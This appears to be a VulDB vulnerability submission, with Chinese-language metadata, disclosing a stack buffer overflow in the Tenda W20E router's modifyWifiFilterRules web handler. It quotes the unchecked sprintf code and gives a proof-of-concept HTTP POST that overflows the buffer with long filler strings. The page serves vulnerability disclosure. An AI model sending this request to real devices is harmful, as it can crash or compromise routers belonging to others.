提交 #868931: Tenda W20E US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC.bin Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda W20E V4.0br_V15.11.0.6. Attackers can exploit this vulnerability by specifying the values of wifiFilterListDeviceMAC and wifiFilterListRemark. When these values are passed to modifyWifiFilterRules and formatted into the fixed-size sMibValue buffer by sprintf without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/modifyWifiFilterRules.

In modifyWifiFilterRules, attacker-controlled values are read from the HTTP request:
pRuleMac = websGetVar((Webs_1 *)wp, "wifiFilterListDeviceMAC", defaultGetValue__5);
pRuleDesc = websGetVar((Webs_1 *)wp, "wifiFilterListRemark", defaultGetValue__5);

The destination buffer is a fixed-size stack buffer:
char sMibValue[128];

The user-controlled values are formatted into sMibValue without length validation:
sprintf(sMibValue, "%s;%s;%s", pRuleMac, sRuleEn, pRuleDesc);

Because sprintf writes attacker-controlled wifiFilterListDeviceMAC and wifiFilterListRemark values into the fixed-size sMibValue stack buffer, overly long values can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/modifyWifiFilterRules HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

wifiFileterListIndex=0&wifiFilterListDeviceMAC=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&wifiFilterListRemark=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

• 来源: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/W20E/2.md
• 用户: stksgg (UID 97520)
• 提交: 2026-06-25 09時13分 (2 月前)
• 管理: 2026-08-14 07時26分 (2 months later)
• 状态: 重复
• VulDB条目: 369144 [Tenda W20E 15.11.0.6 Web Management Interface modifyWifiFilterRules wifiFilterListRemark 内存损坏]
• 积分: 0